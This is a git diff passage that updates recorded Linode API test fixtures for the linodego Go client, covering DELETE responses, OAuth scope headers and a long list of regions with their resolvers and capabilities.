url: https://api.linode.com/v4beta/linode/instances/59544176 method: DELETE response: body: '{}' @@ -701,7 +767,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:14 GMT + - Fri, 31 May 2024 18:19:13 GMT Pragma: - no-cache Strict-Transport-Security: @@ -716,7 +782,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -734,7 +803,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/vpcs/22684 + url: https://api.linode.com/v4beta/vpcs/64442 method: DELETE response: body: '{}' @@ -760,7 +829,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:14 GMT + - Fri, 31 May 2024 18:19:13 GMT Pragma: - no-cache Strict-Transport-Security: @@ -775,7 +844,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_Config_Update.yaml b/test/integration/fixtures/TestInstance_Config_Update.yaml index 706a6361f..1089fa543 100644 --- a/test/integration/fixtures/TestInstance_Config_Update.yaml +++ b/test/integration/fixtures/TestInstance_Config_Update.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": 